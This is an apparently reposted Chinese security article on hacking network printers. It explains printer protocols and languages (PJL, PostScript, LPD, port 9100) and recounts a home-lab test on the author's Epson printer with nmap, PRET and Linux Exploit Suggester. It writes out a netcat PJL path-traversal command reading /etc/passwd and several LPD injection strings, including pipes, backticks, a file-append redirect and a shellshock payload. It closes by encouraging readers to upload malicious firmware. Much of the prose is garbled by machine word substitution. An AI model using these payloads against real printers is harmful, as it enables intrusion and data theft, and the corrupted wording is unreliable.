频道栏目
首页 > 安全 > 系统安全 > 正文

网络打印机系统的安全性分析探讨

2017-09-25 09:43:00      个评论      
收藏   我要投稿

如下章节的内容仅仅是我本身对打印机的研讨工作和近来读到的无关打印机文章的总结。在过去的几个月光阴里,我有机遇接触到几种分歧型号的打印机,并进修了一些无关打印机的根本标准。岂论是供应商照样根本标准,各个范例的打印机都分歧,并且每一个范例的打印机还应用各类分歧的协定和固件。在接下来的文章中,我将先对打印机的无关实践常识停止先容。

那末,为何要将打印机作为入侵攻击目标呢?为何不像平常同样研讨个人电脑或许办事器上的恶意病毒木马软件呢?在接下来的几个段落中咱们将对上述成绩停止论述。

当地vs网络打印机

当地打印机只是简略的衔接到台式电脑上,同享性差。而如今的一切打印机根本上都是网络打印机,应用网络打印机可以或许使物理地位不在同一个处所的用户同享一个或很多个打印装备,全部视图看起来如下图所示:

\

如上图所示,网络打印机协定作为安排打印功课的通道,间接包括了页面描写说话(PDL)或许起首挪用打印机或许功课节制说话!下面我将对上图中的每一个部门停止先容,并对每部门涉及到的根本道理停止论述。

基础常识

一、固件

依据以往的工作履历,打印机应用了一些嵌入式装备的分歧范例的把持体系。比方下面几个把持体系便是一些网络打印机常应用的嵌入式装备把持体系:

1. 可定制的GNU / Linux

2. WindRiver Linux5,

3. VxWorks5,

4. ThreadX6。

经由进程对几款打印机的研讨和阐发,我总结出了这些打印机的一些共同点:

1. 精简指令/敕令集-削减功效,

2. 应用版本较老的内核-平日内核版本是2.6.XYZ,

3. 可以或许包括一些“暗藏”功效,但可以或许经由进程wink补钉启用-比方:找到一个ssh文件,但必要在配置文件中启用,

4. 与家用打印机比拟,ssh功效更多保存在办公室中的打印机中,

5. 偶然固件的存储办法很风趣-比方:在SD卡上,您可以或许删除或许切换30秒内的物理拜访。

以上的这些现实注解,网络打印机可以或许轻易遭到某些网络入侵攻击,但这些网络入侵攻击在实行上平日会变得比拟“繁杂”,由于网络入侵攻击者乃至不克不及或以某种办法经由进程(长途)文件体系的写入来启用网络打印机上的某些功效。接下来,我将对打印机协定停止先容,打印机协定平日用于打印办事器和台式PC之间的通讯,乃至用于打印机外部的通讯。

二、网络打印协定

在Windows用户群体中,SMB/CIFS协定的打印机很受欢迎。但是,最罕见的网络打印协定是LPD,IPP和RAW。别的,一些网络装备还支撑FTP或HTTP等通用协定经由进程文件上传的办法停止打印。

1. LPD

LPD是“行式打印机后盾法式”协定的缩写,该协定监听TCP 515端口,可以或许经由进程CLI应用“lpr”停止拜访。为了打印,客户端必要发送一个功课节制文件和包括要打印的数据文件。

2. IPP

IPP是基于HTTP的扩大协定,是以它承继了HTTP协定一切的平安功效,如根本身份验证和SSL/TLS加密。要提交打印功课,用户必要发送HTTP POST哀求到IPP办事器,该办事器监听TCP 631端口,任何人都晓得CUPS是IPP协定的一个实现,它是很多Linux刊行版和macOS X中的默许打印体系。

3. SMB

SMB(办事器信息块)是应用层网络协定,平日在Windows上应用。该协定监听TCP 445端口,常常用于网络中的同享文件和打印机。

4. 9100端口

也被称为“raw printing”,由于它应用TCP 9100端口停止网络打印把持,平日在CUPS和Windows体系中应用。与LPD,IPP和SMB协定必要应用打印机节制说话才能履行打印把持比拟,经由进程9100端口发送的一切数据都由打印装备间接处置,并间接将打印成果反应到客户端,包括状况和差错新闻。是以咱们可以或许经由进程该办法来间接拜访打印机节制说话的成果!

三、打印机节制说话

根本上,功课节制说话治理以后功课的输出等设置,它平日位于打印协定和页面描写说话之间。打印机节制和治理说话的筹划不只影响单个打印功课,并且影响全部打印装备。

下面我将对最根本的两个打印机节制说话停止先容:

1. SNMP

SNMP-“简略网络治理协定”,该协定监听UDP 161端口,用于治理网络组件

2. PJL

PJL是“Printer Job Language”的简称,该节制说话可用于把持惯例设置,也能够或许永远变动。在很多节制说话中,供应商每每只支撑PJL节制说话中的部门敕令,并依据打印机的必要自行增加专有的功效。别的,PJL也常用于设置现实打印数据的文件格局,网络入侵攻击者每每对该节制说话的这个功效异常感兴致。

四、页面描写说话(PDL)

PDL重要用于指定了现实文档的视图,下面将先容两种重要的页面描写说话:

1. PostScript(PS)

家喻户晓,该页面描写说话由Adobe创造,并被普遍用于PDL。PS的才能远不止于界说文档的表面和处置矢量图形。是以,当被网络入侵攻击者应历时,PS可以或许用于各类入侵攻击,比方回绝办事,打印功课处置和保存和拜访打印机的文件体系等恶意病毒木马把持。

2. PCL

PCL是各类供应商和装备都支撑的极简页面描写说话,该页面描写说话不间接拜访底层文件体系,是以和PS比拟,该描写说话并非很得当用于入侵攻击的目标。

漏洞破绽bug应用

经由进程Shodan我创造很多人会把打印机放在因特网上,详细如下图所示:

\

如上所述,很多网络打印机经由进程端口9100衔接到互联网,是以网络入侵攻击者应用该端口可以或许对这些网络打印机实行网络入侵攻击。比方应用打印机装备上的一个SSH弱口令的漏洞破绽bug就能够或许轻松的登入到网络打印机装备中去。

可以或许要搞的工作

1. DoS

独有传输通道-阻拦一个打印端口,使打印机坚持忙碌状况,再也不打印任何器械。

文档处置-经由进程PDL把持文档,让打印机剖析该文档。比方:PS中的无穷轮回。

物理毁坏-在NVRAM芯片上写入的恶意病毒木马软件。

2. 特权进级

规复出厂设置-重置为出厂默许设置以绕过认证。

绕过账户权限。

3. 拜访打印功课

测验考试在打印机上查找存储的打印功课并提取它们。

变动打印功课。

4. 信息透露

内存拜访-可以或许会找到暗码或打印文档中的敏感数据。

文件体系拜访-可以或许检索敏感信息,如配置文件或存储的打印功课。

凭据透露-对变动的默许登录凭据停止暴力入侵攻击以获得拜访权限

5. 代码履行

缓冲区溢出-由于打印机供给额定的说话和网络办事,是以可以或许存在缓冲区溢出漏洞破绽bug;

固件更新-将打印机固件更新为含有恶意病毒木马软件的固件;

软件包-定制和把持打印机应用法式。

可以或许的入侵攻击场景

如上所述,结构何种范例的入侵攻击向量取决于入侵攻击筹划和拜访办法,一些入侵攻击伎俩可以或许必要物理拜访,而另一些则可以或许经由进程长途来实现。比方,经由进程简略的打印功课(可以或许的环境:无需验证)收回恶意病毒木马固件更新,提取敏感数据并使打印机不可用等。是以对打印机的入侵攻击成败确切取决于它们所在的物理地位及其网络环境。

用到的对象

下面提到的很多技巧必要控制一些底层布局的常识(比方:应用PDL,PCL)。纵然应用手册或在线搜刮可以或许很轻易地找到这些信息,但仍旧是比拟费事和额定的工作。是以应用现有的对象可以或许使咱们的工作变得轻松和简略。

1. BeEF

浏览器开辟框架(BeEx)是一种针对Web浏览器的渗入渗出测试对象。它容许渗入渗出测试者经由进程应用客户端入侵攻击向量来评价目标环境的现实平安状况,应用该框架可以或许实现跨站打印。

2.Praeda

Praeda,是一款用Perl编写的主动打印机数据采集对象,该对象可以或许赞助渗入渗出测试职员在平安评价工作时代网络可用的数据。Praeda可以或许从打印机的嵌入式Web办事器中网络敏感信息,包括装备暗码,用户名和电子邮件地点等敏感数据信息。

3. PRET15

这是一个用python编写的对象,该对象实现了我上述提到的每一个入侵攻击向量。

它经由进程网络或USB衔接到网络打印机,并测验考试应用打印机所应用的打印机说话,(今朝支撑的是PS,PJL和PCL),当胜利衔接时,有一大堆可以或许应用的敕令。

4. LES

Linux Exploit Suggester是一个小perl剧本,由于嵌入式把持体系的内核版本平日远低于以后linux的桌面或办事器刊行版本。那末应用该剧本在一些较旧版本的Linux内核漏洞破绽bug应用中可以或许仍旧可行!

下面我将经由进程一个试验性的例子来先容若何对一台网络打印机实行网络入侵攻击把持。

起首要明白打印机凋谢哪些端口和把持体系指纹是甚么,这里咱们应用nmap来获得这些数据信息,扫描成果如下所示:

$ sudo nmap 192.168.1.108

Starting Nmap 7.01 ( https://nmap.org ) at 2017-09-11 20:13 CEST

Nmap scan report for 192.168.1.108

Host is up (0.031s latency).

Not shown: 993 closed ports

PORT STATE SERVICE

80/tcp open http

139/tcp open netbios-ssn

443/tcp open https

445/tcp open microsoft-ds

515/tcp open printer

631/tcp open ipp

9100/tcp open jetdirect

MAC Address: 44:D2:44:1C:73:E2 (Seiko Epson)

Nmap done: 1 IP address (1 host up) scanned in 2.04 seconds

Device type: specialized

Running: Linux 2.6.X

OS CPE: cpe:/o:linux:linux_kernel:2.6

OS details: Linux 2.6.31 - 2.6.35 (embedded)

Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .

经由进程对扫描成果的阐发咱们创造,该打印机凋谢了9100端口,并且它正在运转一个较旧的Linux内核,但该打印机并无凋谢TCP 22端口,是以想要形成文件体系的凌乱是不可以或许的了。而后,应用PRET看看能获得到甚么数据信息,试验成果如下所示:

$ python pret.py 192.168.1.108 -s PS

Checking for IPP support: found

Checking for HTTP support: found

Checking for SNMP support: found

Checking for PS support: not found

$ python pret.py 192.168.1.108 -s Pjl

Checking for IPP support: found

Checking for HTTP support: found

Checking for SNMP support: found

Checking for PJL support: not found

$ python pret.py 192.168.1.108 -s PCL

Checking for IPP support: found

Checking for HTTP support: found

Checking for SNMP support: found

Checking for PCL support: not found

仍旧没有创造SSH,很可以或许是这款打印机的供应商对该打印机体系做了一些定制化的把持,使其变得轻微平安一些,否则一旦应用PRET衔接到打印机中的一个功效,咱们将可以或许做很多工作。比方反省文件体系。 创立目次,变动配置文件乃至dump全部NVRAM。在创造应用PRET无果以后,我承继测验考试其余渗入渗出测试对象!我筹备应用LES对象,以创造能否存在可以或许应用的Linux漏洞破绽bug,试验进程如下所示:

$ perl Linux_Exploit_Suggester.pl -k 2.6.31

Kernel local: 2.6.31

Searching among 65 exploits...

Possible Exploits:

[+] american-sign-language

CVE-2010-4347

Source: http://www.securityfocus.com/bid/45408/

[+] can_bcm

CVE-2010-2959

Source: http://www.exploit-db.com/exploits/14814/

[+] do_pages_move

Alt: sieve CVE-2010-0415

Source: Spenders Enlightenment

[+] half_nelson

Alt: econet CVE-2010-3848

Source: http://www.exploit-db.com/exploits/6851

[+] half_nelson1

Alt: econet CVE-2010-3848

Source: http://www.exploit-db.com/exploits/17787/

[+] half_nelson2

Alt: econet CVE-2010-3850

Source: http://www.exploit-db.com/exploits/17787/

[+] half_nelson3

Alt: econet CVE-2010-4073

Source: http://www.exploit-db.com/exploits/17787/

[+] msr

CVE-2013-0268

Source: http://www.exploit-db.com/exploits/27297/

[+] pipe.c_32bit

CVE-2009-3547

Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c

[+] pktcdvd

CVE-2010-3437

Source: http://www.exploit-db.com/exploits/15150/

[+] ptrace_kmod2

Alt: ia32syscall,robert_you_suck CVE-2010-3301

Source: http://www.exploit-db.com/exploits/15023/

[+] rawmodePTY

CVE-2014-0196

Source: http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c

[+] rds

CVE-2010-3904

Source: http://www.exploit-db.com/exploits/15285/

[+] reiserfs

CVE-2010-1146

Source: http://www.exploit-db.com/exploits/12130/

[+] video4linux

CVE-2010-3081

Source: http://www.exploit-db.com/exploits/15024/

经由进程简略地阐发LES对象的输出成果,我决议承继测验考试其余办法。

直觉奉告我,为何再也不尝尝PJL呢?是以我应用netcat作为监听法式,并测验考试手动挪用一些敕令,履行敕令如下所示:

echo "@PJL FSUPLOAD FORMAT:BINARY NAME="../../etc/passwd" OFFSET=0 SIZE=648" | nc -v -v 192.168.1.108 9100

# If successful this should display the */etc/passwd* file.

或许

echo "@PJL INFO ID" | nc -v -v 192.168.1.108 9100

# If successful this should get the *printer’s device information*

在这个进程中我也测验考试了其余PJL敕令注入技巧,由于它们的敕令语法差别很大,加之我也不太懂得PS/PCL的启动,是以我的打印机对这类“入侵攻击”一点也没有反应。

一个PRET剧本就能够搞定?

如上所述,PRET并不克不及用来“入侵攻击”我的家用打印机。但是我创造PRET源文件夹中有一个名为“lpdtest.py”的“暗藏”剧本,该剧本可以或许用来测试行式打印机后盾法式中较老的漏洞破绽bug,测试进程如下所示:

测验考试从打印机的文件体系获得文件,代码如下所示:

$ lpdtest.py printer get / etc / passwd

$ lpdtest.py printer get ../../../etc/passwd

#etc...

此测试对用户输出的数据(比方主机名,用户名,功课名,文件名等)停止fuzz处置。

# Test for environment variables

$ lpdtest.py printer in '$UID'

# Test for pipes and redirects

$ lpdtest.py printer in '| pwd'

$ lpdtest.py printer in '>> /etc/passwd'

# Test for backticks

$ lpdtest.py printer in '`ls`'

# Test for [shellshock (CVE-2014-6271)](http://seclists.org/oss-sec/2014/q3/650)

$ lpdtest.py printer in '() {:;}; /bin/ping -c1 1.2.3.4'

正如预期的那样,这些入侵攻击曾经被修复,应用该剧本仍旧没能胜利实行对打印机的入侵攻击把持。

总结

为何打印机遇被入侵攻击?

大多数打印机曾经和个人电脑或许办事器没甚么区别了!

打印机可用作端口/网络/漏洞破绽bug应用扫描器

用于盘算/哈希破解/嗅探

用于上传恶意病毒木马软件

用作C&C办事器

窃取未加密的数据

瞻望

假如我拿到一些更好的打印机,那末我将会承继在这些打印机上研讨无关打印机漏洞破绽bug应用的试验。假如我有更多的光阴,我会投入更多的光阴去研讨对上述家用打印机的漏洞破绽bug应用。比方捕捉固件更新,并测验考试对固件履行脱壳和逆向把持,但这些都必要投入更多的光阴去研讨和阐发。以是我如今坚持凋谢的心态,我盼望上述的研讨和阐发能让我坚持对打印机漏洞破绽bug应用研讨的兴致。别的,我盼望这篇文章可以或许赞助到那些对打印机漏洞破绽bug应用感兴致的人,并可以或许进修一些器械。以是假如你想研讨本身的打印机装备,Just do it!不外请牢记提示:

找到进入体系的一种办法,

反省应用的打印机说话,并测验考试上述这些代码注入技巧,

测验考试从Web界面dump文件体系目次布局,

假如可以或许,上传本身创立的“恶意病毒木马”固件,

找到一种新的漏洞破绽bug应用办法

末了,我等待着反应和改良倡议。

上一篇:Oreint DB远程代码可执行破绽漏洞bug曝光
下一篇:Samba SMB1协议被发现有安全缺陷,安全专家提供修正方案
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站